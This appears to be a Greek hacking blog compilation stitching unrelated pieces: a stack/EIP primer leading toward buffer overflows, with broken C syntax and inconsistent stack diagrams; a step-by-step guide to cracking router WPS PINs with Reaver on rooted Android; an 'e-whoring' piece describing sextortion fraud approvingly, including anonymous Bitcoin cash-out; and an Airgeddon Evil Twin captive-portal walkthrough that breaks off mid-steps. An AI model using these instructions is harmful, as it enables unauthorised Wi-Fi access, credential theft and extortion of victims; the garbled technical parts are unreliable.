διεύθυνση! Κρατήστε αυτές τις πληροφορίες διότι θα μας χρειαστούν παρακάτω.
Μέρος του Κώδικα (code section)
Σε αυτό το κομμάτι της μνήμης αποθηκεύονται όλες οι εντολές του προγράμματός μας. Κατά την διάρκεια εκτέλεσης του προγράμματος κανένα πρόγραμμα δεν μπορεί να γράψει δεδομένα σε αυτό το μέρος. Είναι μόνο για διάβασμα (Read Only).
Για παράδειγμα, όλες οι εντολές μηχανής που αντιστοιχούν στο παρακάτω κομμάτι πηγαίου κώδικα (σε γλώσσα C στο παράδειγμα μας) θα τοποθετηθούν στην μνήμη στο Code Section:
/* Θέσε τα στοιχεία της 1ης διαγώνιου ενός πίνακα 100×100 με 1, και τα υπόλοιπα με 0 */
for (i = 0; i < 100; i++)
for (j = 0; j < 100; j++)
if (i<>j)
a[i][j] = 0
else
a[i][j] = 1;
Τα σχόλια /*…*/ φυσικά δεν περιλαμβάνονται στον εκτελέσιμο κώδικα, δηλαδή δεν θα μεταφραστούν σε κώδικα μηχανής αφού αφορούν μόνο αυτόν που διαβάζει το πρόγραμμα και όχι τον επεξεργαστή που το εκτελεί.
Μέρος των Δεδομένων (data section)
Στο μέρος αυτό τοποθετούνται όλες οι καθολικές μεταβλητές (global variables) του προγράμματος μας. Καθολικές μεταβλητές είναι εκείνες που είναι προσβάσιμες από όλες τις συναρτήσεις (functions) και τα υποπρογράμματα (procedures) του τρέχοντος προγράμματος. Εδώ, μπορεί να γράψει και φυσικά να διαβάσει δεδομένα το πρόγραμμα μας (non Read-Only). Για παράδειγμα, οι παρακάτω μεταβλητές i, j και a θα τοποθετηθούν στο data section:
int i;
int j=0;
int a[100][100];
Μέρος της Στοίβας (stack)
Όλες οι τοπικές μεταβλητές, δηλαδή αυτές που δηλώνονται στις συναρτήσεις ή στα υπο-προγράμματα καθώς επίσης και κάποιες διευθύνσεις μνήμης που χρησιμοποιεί το πρόγραμμα μας καταχωρούνται στην λεγόμενη στοίβα. Το μέρος αυτό της μνήμης αποτελεί στην πραγματικότητα μια δομή δεδομένων τύπου στοίβας. Για να γίνει κατανοητή η δομή αυτή θα αναφέρουμε το κλασικό παράδειγμα με τα πιάτα: Σκεφτείτε ότι πρέπει να πλύνουμε 10 πιάτα. Καθώς τα πλένουμε ένα-ένα τα τοποθετούμε σε μια στοίβα, το ένα επάνω στο άλλο. Μόλις τελειώσουμε και θέλουμε να τα σκουπίσουμε (λέμε τώρα…!) τότε θα πάρουμε πρώτα εκείνο που μπήκε τελευταίο στην στοίβα. Η μέθοδος αυτή που χρησιμοποιούμε την στοίβα ονομάζεται Last In First Out (LIFO) και πρόκειται για μια πολύ συνηθισμένη “κατάσταση” στον προγραμματισμό (και όχι μόνο – απ’ όσο είδαμε και στο παράδειγμα μας…). Το κύριο χαρακτηριστικό της είναι πως το στοιχείο που μπαίνει τελευταίο, βγαίνει πρώτο.
Να πούμε οτι σε αυτό το μέρος της μνήμης επιτρέπεται το γράψιμο, δηλαδή είναι κι αυτό (όπως και το data segment) Writable. Αντί για… πιάτα όμως, το πρόγραμμα μας τοποθετεί εδώ της μεταβλητές που χρησιμοποιούμε στις συναρτήσεις του προγράμματος μας. Βέβαια, πρέπει να έχει ένα τρόπο να γνωρίζει ποια μεταβλητή είναι η τελευταία στην στοίβα, αυτή δηλαδή που θα ληφθεί πρώτη, όταν χρειαστεί. Για να το γνωρίζει αυτό, χρησιμοποιεί έναν από τους λεγόμενους δείκτες. Σκεφτείτε τους δείκτες σαν θέσεις μνήμης αλλά μέσα στον επεξεργαστή: άμεσα και γρήγορα προσβάσιμους. Ο δείκτης που χρησιμοποιείται για να ξέρουμε ποιο είναι το τελευταίο στοιχείο (μεταβλητή) της στοίβας ονομάζεται Δείκτης Στοίβας (extended stack pointer – ESP ή σκέτο SP). Στην πραγματικότητα ο ESP κρατάει την διεύθυνση της μεταβλητής που βρίσκεται κάθε στιγμή στην κορυφή της στοίβας.
Στην στοίβα μπορούμε να βάζουμε (push) ή να παίρνουμε (pop) στοιχεία κατά βούληση. Είναι πολύ σημαντικό να γνωρίζετε δυο μικρά μυστικά:
Εξ’ αιτίας της αρχιτεκτονικής του 32μπιτου επεξεργαστή της Intel (ή των συμβατών με αυτόν όπως o AMD), οι μεταβλητές που καταχωρούνται αποτελούνται από μέρη των 4ων ψηφίων ή αλλιώς των 4ων bytes. Γιατί; Διότι το bus είναι 32 bits (binary digits). Στα 32 bits χωράνε 4 bytes αφού το 1 byte = 8 bits, 4 x 8 = 32bits.
Η στοίβα αυξάνεται προς τα κάτω. Δηλαδή ξεκινάει από ψηλές διευθύνσεις στην μνήμη και όσο βάζουμε στοιχεία αυτή “μεγαλώνει” τόσο “κατεβαίνει” προς τα κάτω. Δείτε για παράδειγμα το εξής:
Έστω οτι ο καταχωρητής SP = 256. Δείχνει, δηλαδή, στο κουτάκι 256 στην μνήμη. Αν δώσουμε την εντολή “push 34” (βάλε στο stack το 34) τότε ο ΕSP αυτόματα θα μειωθεί κατά 4 και θα γίνει 252 και στο κουτάκι 256 θα μπει ο αριθμός 34.
Έχουμε λοιπόν:
PUSH 34
Διεύθυνση
Τιμή
256
34
252
248
…
ESP=256
Αν μετά δώσουμε την εντολή:
PUSH 50
θα έχουμε:
Διεύθυνση
Τιμή
256
34
252
50
248
…
ESP=248
Για να πάρει το πρόγραμμα μας από το stack, θα δώσει την εντολή:
POP Χ
Αυτό σημαίνει οτι ο επεξεργαστής θα πάρει από το STACK την πρώτη τμή και θα την απονείμει στην μεταβλητή Χ και αμέσως μετά ο ESP θα γίνει 252 και η μεταβλητή Χ θα έχει την τιμή 34.
Εδώ, να αναφέρουμε ένα μικρό μυστικό. Αν θέλαμε να πάρουμε από το STACK την τιμή 50 και όχι την 34 τότε θα έπρεπε να δώσουμε δύο φορές POP αφού δεν έχουμε κατευθείαν πρόσβαση στο 50. Δηλαδή:
POP Χ
POP Χ Εδώ, το Χ θα έχει την τιμή 50 και ο ESP=248.
Πως εκτελούνται οι εντολές (instructions)
Για να καταλάβουμε αυτή την λειτουργία πρέπει πρώτα να μιλήσουμε για ένα καταχωρητή: Τον EIP (Extended Instruction Pointer ή απλά Instruction Pointer). Οι καταχωρητές είναι ακριβώς όπως και οι δείκτες που αναφέραμε πιο πάνω: Είναι θέσεις μνήμης μέσα στον επεξεργαστή και χρησιμοποιούνται από αυτόν για να εκτελεί της εντολές των προγραμμάτων μας. Αυτός ο καταχωρητής χρησιμοποιείται για να “κρατάει” πάντα την διεύθυνση που βρίσκεται η επόμενη προς εκτέλεση εντολή του προγράμματος μας. Για να εκτελέσει ο επεξεργαστής μια εντολή, διαβάζει από τον EIP την διεύθυνση της, πάει σε αυτήν την διεύθυνση και διαβάζει την εντολή, την εκτελεί και καταχωρεί στον EIP την επόμενη προς εκτέλεση εντολή, κοκ. Πώς όμως ο επεξεργαστής μας θα βρει ποια είναι η επόμενη προς εκτέλεση εντολή ώστε να την καταχωρήσει στον EIP; Χμ… εδώ πρέπει να διακρίνουμε δυο περιπτώσεις:
Η επόμενη εντολή προς εκτέλεση βρίσκεται αμέσως μετά την προηγούμενη.
Να έχουμε μια περίπτωση jump δηλαδή να υπάρχει (για παράδειγμα) μια συνάρτηση που καλείται προς σε ένα άλλο σημείο του προγράμματος και θα πρέπει ο επεξεργαστής μας να “πηδήσει” σε εκείνο το σημείο, ή αλλιώς σε εκείνη την διεύθυνση της μνήμης και να εκτελέσει τις εντολές εκεί.
Στην περίπτωση 1 τα πράγματα είναι απλά: Η διεύθυνση υπολογίζεται ως εξής: προσθέτουμε στον EIP το μήκοςτης τρέχουσας εντολής που εκτελέστηκε. Το αποτέλεσμα μιας τέτοιας πράξης θα είναι η διεύθυνση της αμέσως επόμενης εντολής. Για να το καταλάβετε αυτό, δείτε το εξής μικρό πρόγραμμα δύο εντολών:
100 push EDX 101 mov ESP 0
Η εντολή στην διεύθυνση 100 βάζει στο stack την τιμή του καταχωρητή EDX (αυτός είναι ένας καταχωρητής γενικής χρήσης – τον έχουμε σαν… πρόχειρο). Η εντολή στην διεύθυνση 101 δίνει στο δείκτη ESP την τιμή 0. Όταν ο επεξεργαστής μας εκτελεί την εντολή στην διεύθυνση 100 τότε θα “σκεφτεί” τα εξής:
Είναι κάποιο jump; Όχι, άρα υπολογίζω το μέγεθος της εντολής στην διεύθυνση 100 που έχω. Έστω οτι είναι 1 byte. Άρα η επόμενη εντολή προς εκτέλεση πρέπει να βρίσκεται στην διεύθυνση 100 + 1 = 101. Άρα βάζω στον EIP το 101.
Απ’ ότι καταλάβατε εδώ, κάθε εντολή – instruction (push, mov κλπ) καταλαμβάνει μνήμη και άρα έχει και κάποιο μέγεθος. Όλες οι εντολές δεν έχουν το ίδιο μέγεθος. Άλλες μπορεί να είναι 1 byte άλλες 2 άλλα 4 κοκ.
Υπάρχει βέβαια και η πιο σύνθετη περίπτωση: Η περίπτωση JUMP, δηλαδή η περίπτωση που το πρόγραμμα μας συνεχίζεται σε μια άλλη διεύθυνση πολύ πιο… “μακρινή” από την αμέσως επόμενη στη σειρά. Αυτό μπορεί να συμβεί (όπως είπαμε) όταν το πρόγραμμα καλεί μια συνάρτηση ή ένα άλλο υποπρόγραμμα. Στην πράξη γίνεται το εξής: Πριν εκτελεστεί η εντολή JUMP ο επεξεργαστής μας κρατάει την αμέσως επόμενη εντολή (αυτή που θα βρίσκεται μετά το jump) και την τοποθετεί σε ένα καταχωρητή γενικής χρήσης, ας πούμε τον EDX. Αμέσως μετά πάει στην διεύθυνση που του λέει το JUMP (Π.χ. JUMP 35456) και εκτελεί τις εντολές που βρίσκονται εκεί μία προς μία, μέχρι να συναντήσει το τέλος της συνάρτησης (που ορίζεται με μια εντολή RET, δηλαδή return), τότε απλά γράφει στο EIP το περιεχόμενο που είχε καταχωρήσει στον EDX. Κατά συνέπεια το πρόγραμμα συνεχίζει από την επόμενη εντολή που είχε σταματήσει για κάνει το jump. Η διαδικασία του JUMP υλοποιείται από το πρόγραμμα με την χρήση 2 εντολών: της CALL και της RET. H CALL μεταφέρει την λειτουργικότητα του προγράμματος σε μια άλλη (μακρινή) διεύθυνση και η RET δηλώνει το τέλος της σειράς των εντολών που βρίσκονται σε αυτήν την άλλη διεύθυνση ώστε να ξέρει πότε να σταματήσει (ή όπως λέμε να επιστρέψει) ο επεξεργαστής από την εκτέλεση των εντολών σε αυτή την περιοχή της μνήμης.
Δείκτης Βάσης – base pointer (EBP)
Κάθε φορά που εφαρμόζεται ένα jump είπαμε οτι ο επεξεργαστής πάει να εκτελέσει ένα σύνολο εντολών (instructions) σε μια άλλη θέση μνήμης (μέχρι να συναντήσει ένα RET). Αυτό το σύνολο εντολών όπως είπαμε, ονομάζεται συνάρτηση (function) ή διαδικασία (procedure). Κάθε συνάρτηση (ή διαδικασία) έχει το δικό της stack το οποίο ονομάζεται stack frame. Ένα stack frame είναι μια στοίβα στην οποία θα καταχωρηθούν μεταβλητές και διευθύνσεις που αφορούν μόνο στην τρέχουσα συνάρτηση που εκτελείται. Κάθε διεύθυνση μέσα στο συγκεκριμένο stack είναι μια σχετική διεύθυνση σε σχέση με μια βάση. Η βάση αυτή είναι ο base pointer. Όλες λοιπόν οι αναφορές στις διευθύνσεις του stack γίνονται με βάση τον τρέχοντα δείκτη βάσης (base pointer).
Στην πράξη γίνεται το εξής: Πριν καλέσουμε μια συνάρτηση βάζουμε στο EBP τον τρέχον ESP. Από εκεί και μετά κάθε φορά που θέλουμε να αναφερθούμε σε μια διεύθυνση στο stack θα το κάνουμε με βάση τον EBP που στην ουσία είναι η αρχή του stack πριν την κλήση της συνάρτησης. Για να το καταλάβετε δείτε το εξής παράδειγμα:
Στο παρακάτω stack έχουμε ebp=256 και esp=256:
Διεύθυνση
Τιμή
256
34
252
248
…
Έστω οτι καλούμε μια συνάρτηση η οποία βάζει στο stack τον αριθμό 89. Θα έχουμε:
Διεύθυνση
Τιμή
256
34
252
89
248
…
Όπου ebp=256 και esp=252.
Η χρήση του ebp μας βολεύει πολύ όταν θέλουμε να αναφερθούμε στις τιμές του stack της συγκεκριμένης συνάρτησης. Δηλαδή, η μεταβλητή που βρίσκεται στη θέση (ebp 256) είναι η πρώτη μεταβλητή που καταχώρησε στο stack η συνάρτηση μας.
Όταν τελειώσει αυτή η συνάρτηση το έργο της (με ένα RET), τότε ο EBP θα επανέλθει στον προηγούμενο EBP ο οποίος είχε φυλαχτεί σε κάποιον καταχωρητή πριν την κλήση της συνάρτησης.
Συμπεράσματα
Δώσαμε μια βασική περιγραφή για το πώς λειτουργεί εσωτερικά ένα πρόγραμμα. Οι γνώσεις που αποκομίσατε από το συγκεκριμένο άρθρο θεωρούνται στοιχειώδεις γνώσεις για ένα reverser ή για κάποιον που θέλει να καταλάβει έννοιες και να μπορέσει να διαβάσει άρθρα λίγο πιο προχωρημένα όπως αυτά που «μιλάνε» για buffer overflow.
Θα πρέπει, αν θέλετε να καταλάβετε καλά ένα Stack Buffer Overflow Attack, θα πρέπει να δώσετε βάση και να μπορείτε να εξηγήσετε τα εξής:
Τι είναι ο Instruction Pointer (EIP).
Τι είναι το Stack.
Τι είναι ο Stack Pointer (ESP).
Πώς συνδέονται τα παραπάνω μεταξύ τους.
Στα επόμενα άρθρα αυτής της οικογένειας θα δούμε λίγο πιο… core πράγματα! Προς το παρόν, σκεφτείτε το εξής:
Τι θα συμβεί αν καταφέρουμε με κάποιο τρόπο να ελέγξουμε τον Instruction Pointer (EIP);! 😎
Κάποτε μπορεί να χρειαζόταν να εγκατασταθεί ένα desktop λειτουργικό σύστημα με μια συγκεκριμένη κάρτα ασύρματου δικτύου. Τώρα, όμως, μπορείτε να χρησιμοποιήσετε ορισμένες Android συσκευές να ανιχνεύσετε και να σπάσετε ασύρματα δίκτυα. Αυτά τα εργαλεία είναι διαθέσιμα δωρεάν εφόσον η συσκευή σας είναι συμβατή. Το χακάρισμα των routers χωρίς άδεια είναι παράνομο. Αυτά τα βήματα παρέχονται για να ελέγξετε την ασφάλεια του δικού σας δικτύου!
Πάμε να δούμε, λοιπόν, ποια είναι τα απαραίτητα βήματα:
1.Rootάρετε μια συμβατή συσκευή.
Δεν είναι κάθε Android τηλέφωνο ή tablet θα είναι σε θέση να σπάσει ένα WPS PIN.
Η συσκευή πρέπει να έχει ένα Broadcom bcm4329 ή bcm4330 ασύρματο chipset και πρέπει να είναι root-αρισμένη. Η Cyanogen ROM θα σας δώσει τις μεγαλύτερες πιθανότητες επιτυχίας. Μερικές από τις γνωστές υποστηριζόμενες συσκευές είναι οι:
Nexus 7
Galaxy Ace / S1 / S2 / S3
Nexus One
Desire HD
2.Κατεβάστε και εγκαταστήστε το bcmon.
Αυτό το εργαλείο ενεργοποιεί το Monitor Mode στο Broadcom chipset, που είναι απαραίτητο για να μπορέσει να σπάσει το PIN. Το bcmon APK αρχείο είναι διαθέσιμο δωρεάν από την bcmon σελίδα στην Google Code ιστοσελίδα.
Για να εγκαταστήσετε ένα APK αρχείο, θα πρέπει να επιτρέψετε την εγκατάσταση από άγνωστες πηγές στο Security μενού σας.
3.Εκτελέστε το bcmon.
Αφότου εγκαταστήσετε το APK αρχείο, εκτελέστε την εφαρμογή.
Εάν σας ζητηθεί, εγκαταστήστε το firmware και τα εργαλεία. Πατήστε την επιλογή «Ενεργοποίηση του Monitor Mode«.
Εάν η εφαρμογή κρασάρει, ανοίξτε την και δοκιμάστε ξανά. Εάν αποτύχει και για τρίτη φορά, είναι πολύ πιθανό να μην υποστηρίζεται η συσκευή σας.
Η συσκευή σας πρέπει να είναι root-αρισμένη, για να τρέξει το bcmon.
4.Κατεβάσετε και εγκαταστήσετε το Reaver.
Το Reaver είναι ένα πρόγραμμα που αναπτύχθηκε για να σπάει το WPS PIN για να μπορεί να ανακτηθεί η WPA2 φράση πρόσβασης (passphrase).
Το Reaver APK μπορείτε να το κατεβάσετε από το thread των προγραμματιστών στα XDA-developers forums.
5.Εκκίνηση το Reaver.
Πατήστε το εικονίδιο του Reaver στο Android από το App drawer.
Μετά την επιβεβαίωση ότι δεν το χρησιμοποιείτε για παράνομους σκοπούς, το Reaver θα σαρώσει για διαθέσιμα σημεία πρόσβασης.
Επιλέξτε το σημείο πρόσβασης που θέλετε να σπάσετε για να συνεχίσετε.
Μπορεί να χρειαστεί να επιβεβαιώσετε την Monitor Mode πριν προχωρήσετε. Σε αυτή την περίπτωση, το bcmon θα ανοίξει και πάλι.
Το σημείο πρόσβασης που θα επιλέξετε πρέπει να δέχεται WPS αυθεντικοποίηση. Δεν το υποστηρίζουν όλοι οι δρομολογητές αυτό.
6.Επιβεβαιώστε τις ρυθμίσεις σας.
Στις περισσότερες περιπτώσεις, μπορείτε να αφήσετε τις προεπιλεγμένες ρυθμίσεις. Βεβαιωθείτε ότι το «Αυτόματες ρυθμίσεις για προχωρημένους» κουτάκι είναι επιλεγμένο.
7.Ξεκινήστε την cracking διαδικασία.
Πατήστε το κουμπί «Start attack» στο κάτω μέρος του μενού Ρυθμίσεις του Reaver. Η οθόνη θα ανοίξει και θα δείτε τα αποτελέσματα του εν εξελίξει crack να εμφανίζονται.
Το cracking του WPS μπορεί να διαρκέσει από 2 έως 10 + ώρες μέχρι να ολοκληρωθεί και δεν είναι πάντα επιτυχές.
Εγκατάσταση
Κατεβάστε/εγκαταστήστε το bcmon.apk και το RfA.apk από εδώ(Ή μόνοι σας). Το RfA μπορεί να κατεβάσει το bcmon αυτόματα.
Τρέξτε το bcmon, αν κρασάρει ξαναδοκιμάστε.
Αν όλα πάνε καλά,τρέξτε το RfA. Αν όχι,μπορεί η συσκευή σας να μην είναι συμβατή με το bcmon.
Αφού διαλέγοντας ένα WPS-enabled router, πατήστε πάνω στο “Test Monitor-Mode”.
Τώρα μπορείτε να χρησιμοποιπήσετε το Rfa. Μην απεγκαταστήσετε το bcmon.
Τα βήματα 1-4 είναι μόνο για την εγκατάσταση, δεν χρειάζεται να τα επαναλάβετε.
E-whoring (μετάφραση, σημαίνει ιντερνετικη πορνεία)
Δηλαδή ενας απατεώνας προσποιείται ενα άμορφο κορίτσι προκειμένου να εξαπατήσει τους χρήστες του διαδικτύου.
Ολοι μπορεί να έχουμε κάνει κάτι τέτοιο και ας μην το ξέρουμε ότι υπάρχει ορολογία γιαυτο. πχ. σε έναν φιλο μας στο facebook,σε ένα chatroom etc…
Γιατί να το κάνει κάποιος;
Φυσικά ο σκοπός είναι το κέρδος όπου σε πολλές περιπτώσεις τα ποσά κέρδους είναι πολύ μεγάλα.
Πόσο μπορεί να είναι το κέρδος;
Το κέρδος είναι ανάλογο με το θυμα σου και με το πλαστο κορίτσι που προσποιείσαι…Οσα περισσότερα δώσεις τόσα περισσότερα θα έχεις σαν κέρδος
Πως Λειτουργεί
Ο θύτης-απατεώνας δημιουργεί το πρόσωπο/προφίλ του κοριτσιού.
Μπαίνει σε chatrooms για να γίνει /γνωστη/ και έπειτα κανει φίλους(facebook,yahoo etc…)
Αφού καταφέρει και βρει τα θυματα του και τους κερδίσει την εμπιστοσύνη μπαίνει σε chat rooms με κάμερα για να μιλήσει μαζί τους.
Βέβαια αυτος που εχει στήσει ολο αυτό το “παραμύθι” έχει προμηθευτεί με το κατάλληλο λογισμικό/φωτογραφείς/βίντεο/live_shows etc…
Πολλές φορες ο απατεώνας καλεί το θυμα να γδύνετε μπροστά στη κάμερα (αφού το ίδιο κανει και το “δικό μας” όμορφο κορίτσι) και στη συνέχεια το εκβιάζει ότι θα ανεβάσει αυτο το βίντεο στο διαδίκτυο.
Πως παίρνω τα χρήματα που εχω βγάλει απο το Ewhore
Μπορείτε με κάποιον λογαριασμό Paypal, αλλα για περισσότερη ανωνυμία με Bitcoins/Litecoins.
Σε αυτό το άρθρο, θα αναλύσουμε την επίθεση Evil twin και θα εξηγήσουμε πώς να την εντοπίσετε και πώς να την αποτρέψετε από το να σας προκαλέσει προβλήματα.
Τι είναι μια επίθεση Evil Twin;
Σε μια επίθεση “Evil Twin”, ο επιτιθέμενος δημιουργεί ένα ψεύτικο σημείο πρόσβασης WI-FI με το ίδιο κυρίως όνομα με αυτό που θέλει να παραβιάσει και αφού δημιουργήσει το WIFI , ο επιτιθέμενος ελπίζει ότι κάποιος θα μπορούσε να συνδεθεί στο ψεύτικο σημείο πρόσβασης και να το χρησιμοποιήσει αντί για το νόμιμο. Αφού πάρει τον χρήστη στο AP του , ο επιτιθέμενος μπορεί να δημιουργήσει ένα captive portal ζητώντας τον κωδικό πρόσβασης WIFI για να συνδεθεί και στη συνέχεια ο επιτιθέμενος μπορεί τώρα να έχει πρόσβαση στο αρχικό σημείο πρόσβασης WI-FI. Αυτή η επίθεση είναι πολύ συνηθισμένη στα δημόσια WI-FI όπου είναι πολύ συνηθισμένο να υπάρχουν πολλά σημεία πρόσβασης WI-FI με το ίδιο όνομα.
Μεθοδολογία των επιθέσεων Evil Twin:
Υπάρχουν διάφορα βήματα που λαμβάνουν χώρα κατά την εκτέλεση μιας επίθεσης evil twin. Ας περάσουμε από αυτά:
Reconnaissance: Στο αρχικό βήμα , ο επιτιθέμενος ξεκινά με τη σάρωση της περιοχής-στόχου για διαθέσιμα δίκτυα και τον εντοπισμό του σημείου πρόσβασης που θα παραποιήσει.
Creating Rogue Access Point : Αφού βρει το σωστό wifi του θύματος, ο επιτιθέμενος εγκαθιστά ένα παράνομο σημείο πρόσβασης (AP) με πανομοιότυπο ή παρόμοιο SSID με το δίκτυο-στόχο και πιθανότατα , καμία κρυπτογράφηση δεν ρυθμίζεται συνήθως στο παράνομο σημείο πρόσβασης, αλλά ο επιτιθέμενος μπορεί επίσης να δημιουργήσει μια αδύναμη κρυπτογράφηση για να κάνει πολύ πανομοιότυπο το περιβάλλον εργασίας χρήστη.
Matching Network Parameters: Τώρα ο επιτιθέμενος φέρνει το σημείο πρόσβασης στο ίδιο κανάλι και την ίδια συχνότητα, για να αυξήσει τις πιθανότητες εργασίας της επίθεσης.
Broadcasting Signal Strength/Deauthentication: Τώρα, μετά από αυτό , ο εισβολέας προσαρμόζει την ισχύ του σήματος του απατεώνα AP ώστε να ανταγωνίζεται ή να εξουδετερώνει το νόμιμο σήμα του δικτύου. Σε ορισμένες περιπτώσεις, ο επιτιθέμενος χρησιμοποιεί επίσης τη βοήθεια της επίθεσης de-authentication, ενώ αναγκάζει κάθε χρήστη στο νόμιμο WIFI να αποσυνδεθεί, έτσι ώστε τελικά να αναγκαστεί αυτόματα να συνδεθεί με το πλαστό σημείο πρόσβασης.
Clients connect to Rogue AP: Οι συσκευές εντός της εμβέλειας του παραπλανητικού AP συνδέονται αυτόματα στο WI-FI, υποθέτοντας ότι πρόκειται για ένα νόμιμο δίκτυο λόγω της ταύτισης του SSID και άλλων παραμέτρων.
Intercepting Network Traffic: Μόλις οι συσκευές συνδεθούν στο παραπλανητικό AP, ο εισβολέας μπορεί να υποκλέψει και να παρακολουθήσει την κυκλοφορία του δικτύου, συλλαμβάνοντας ευαίσθητα δεδομένα, όπως στοιχεία σύνδεσης, προσωπικές πληροφορίες ή ευαίσθητα αρχεία.
MITM:Τώρα που ο χρήστης είναι συνδεδεμένος , μπορείτε να πραγματοποιήσετε επίθεση Man-in-the-middle για να χειραγωγήσετε ή να τροποποιήσετε τα δεδομένα που ανταλλάσσονται μεταξύ της συσκευής του θύματος και των νόμιμων υπηρεσιών.
Captive Portal : Αφού συνδεθεί ο χρήστης, μπορείτε επίσης να εμφανίσετε μια αιχμάλωτη πύλη, η οποία είναι μια σελίδα που ζητά ξανά τον κωδικό πρόσβασης WI-FI.
Remaining Undetected: Ο επιτιθέμενος έχει ως στόχο να παραμείνει απαρατήρητος, ενσωματώνοντας το παράνομο AP φαινομενικά στο περιβάλλον.
Attack Termination: Αφού ολοκληρωθεί η εργασία σας, μπορείτε απλά να τερματίσετε κάθε πράγμα.
Rogue Access Point vs. Evil Twin Attack
Ο κόσμος γενικά μπερδεύεται μεταξύ των δύο τύπων ασύρματης επίθεσης , η πρώτη είναι η επίθεση Rogue Access point και η άλλη είναι η επίθεση evil twin. Ας κατανοήσουμε λοιπόν τη βασική διαφορά μεταξύ τους.
Rogue Access Point
Σε μια επίθεση σε ένα σημείο πρόσβασης που δεν είναι εγκεκριμένο ή κακόβουλο, προστίθεται ένα μη εξουσιοδοτημένο ή κακόβουλο ασύρματο σημείο πρόσβασης σε ένα δίκτυο, το οποίο έχει εγκατασταθεί από τον επιτιθέμενο, με σκοπό να κρατήσει το σημείο πρόσβασης κρυφό.
Ο στόχος μιας επίθεσης rogue AP είναι να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε ένα δίκτυο και ενδεχομένως να εκμεταλλευτεί τρωτά σημεία στην ασφάλεια του δικτύου. Οι επιτιθέμενοι χρησιμοποιούν αυτή την τεχνική για να παρακάμψουν τους ελέγχους και τις άμυνες του δικτύου.
Παράδειγμα : Ένας επιτιθέμενος τοποθετεί φυσικά ένα αθέμιτο σημείο πρόσβασης σε δημόσιο χώρο ενός κτιρίου γραφείων, ελπίζοντας ότι οι υπάλληλοι θα συνδεθούν σε αυτό. Μόλις συνδεθεί, ο επιτιθέμενος μπορεί να εξαπολύσει διάφορες επιθέσεις για να θέσει σε κίνδυνο τις συνδεδεμένες συσκευές και να αποκτήσει πρόσβαση στο εσωτερικό δίκτυο.
Evil Twin Attack
Σε μια επίθεση evil Twin , ο επιτιθέμενος εγκαθιστά ένα ψεύτικο σημείο πρόσβασης με το ίδιο SSID με το AP , που θέλει να παραβιάσει. Ο πρωταρχικός στόχος μιας επίθεσης evil twin είναι να εξαπατήσει τους χρήστες ώστε να συνδεθούν στο ψεύτικο AP και να επιτρέψει στον επιτιθέμενο να υποκλέψει ή να χειραγωγήσει την κυκλοφορία δικτύου των χρηστών. Αυτές είναι δύσκολο να εντοπιστούν, καθώς μιμούνται το ίδιο SSID και τον ίδιο αριθμό καναλιού.
Εκτέλεση επιθέσεων Evil Twin με τον Airgeddon:
Σε αυτό το ιστολόγιο , θα κάνουμε χρήση ενός αυτόματου εργαλείου για το Airgeddon το οποίο είναι ένα εξαιρετικό εργαλείο για τη διεξαγωγή του κακού δίδυμου blog και σε αυτό το ιστολόγιο θα εξερευνήσουμε την αιχμάλωτη πύλη παραλλαγή του κακού δίδυμου blog.
Το Airgeddon είναι ένα ολοκληρωμένο εργαλείο ασύρματης ασφάλειας που έχει σχεδιαστεί για δοκιμαστές διείσδυσης και ηθικούς χάκερ. Απλοποιεί την αξιολόγηση των τρωτών σημείων του δικτύου Wi-Fi, προσφέροντας χαρακτηριστικά όπως επιθέσεις Evil Twin, σπάσιμο κωδικού πρόσβασης και τεχνικές deauthentication.
Προϋπόθεσες: Θα χρειαστείτε έναν προσαρμογέα WI-FI που να υποστηρίζει τη λειτουργία παρακολούθησης για να εκτελέσετε το blog evil twin.
Εγκατάσταση
git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
cd airgeddon
cp airgeddon /usr/local/bin #do this to use the tool worldwide
Βήματα που πρέπει να εκτελέσετε
Εκκινήστε το airgeddon (Προσπαθήστε να το εκτελέσετε με δικαιώματα root)
sudo airgeddon
Αυτό είναι το παράθυρο προεπισκόπησης που θα δείτε μετά την επιτυχή εγκατάσταση και εκκίνηση του airgeddon.
Κάντε κλικ στο Enter και στο επόμενο παράθυρο, θα σας ζητηθεί να επιλέξετε τη διασύνδεση
Στην περίπτωσή μου είναι το wlan0, μπορείτε να επιλέξετε ό,τι θέλετε.
Μετά την επιλογή της διεπαφής, θα σας ζητηθεί να επιλέξετε την επίθεση που θέλετε να πραγματοποιήσετε , airgeddon υποστηρίζει διάφορα πράγματα WI-FI επίθεση
Από αυτές τις επιλογές , θα επιλέξουμε πρώτα την επιλογή νούμερο 2 , η οποία θα θέσει τη διεπαφή μας σε λειτουργία οθόνης. (Εάν ο προσαρμογέας σας είναι ήδη σε λειτουργία οθόνης , μπορείτε να μεταβείτε στο επόμενο βήμα)
Τώρα θα επιλέξουμε την επιλογή 7 που είναι η λειτουργία του κακού δίδυμου. Μετά την επιλογή αυτό είναι το παράθυρο που φτάνω :
Όπως φαίνεται στο παράθυρο , υπάρχουν διάφορες παραλλαγές της Evil Twin επίθεση είναι διαθέσιμη για εμάς να χρησιμοποιήσουμε.
Μεταξύ αυτών , θα επιλέξουμε την επιλογή νούμερο 9 που είναι Evil Twin AP attack with captive portal (monitor mode needed) Πατήστε 9 και μεταβείτε στο επόμενο παράθυρο.
Τώρα αφού πατήσετε enter , θα σας ζητηθεί να ξεκινήσετε την εξερεύνηση , αφού πατήσετε ξανά enter , θα ξεκινήσει η εξερεύνηση κατά την οποία το εργαλείο θα ξεκινήσει την εξερεύνηση του σημείου πρόσβασης θύματος στο δίκτυό σας.
Μόλις εντοπιστεί το σημείο πρόσβασης θύμα σας, μπορείτε να πατήσετε ctrl + c . Μετά το πάτημα του πλήκτρου η εξερεύνηση θα σταματήσει και θα σας ζητηθεί , αν θέλετε να βγείτε από το σενάριο, οπότε για να το σταματήσετε πατήστε n. Μετά από αυτό θα μετακινηθείτε στο επόμενο παράθυρο όπου το εργαλείο θα σας ζητήσει να εισάγετε το σημείο πρόσβασης του θύματος.
Έτσι, μετά από αυτό, απλά εισάγετε τον αριθμό του σημείου πρόσβασης του θύματος και προχωρήστε. (Στην περίπτωσή μου είναι το Helloworld)
Αφού επιλέξετε, θα σας ζητηθούν διάφορες ερωτήσεις, απλά πατήστε enter.
Στην προτροπή για την καταγεγραμμένη χειραψία, μπορείτε να επιλέξετε αν έχετε ήδη κάνει χειραψία, αν όχι, πατήστε enter. Στην επόμενη προτροπή χρονικού ορίου μπορείτε να επιλέξετε σύμφωνα με εσάς ποιο χρονικό όριο θα λειτουργήσει για εσάς.
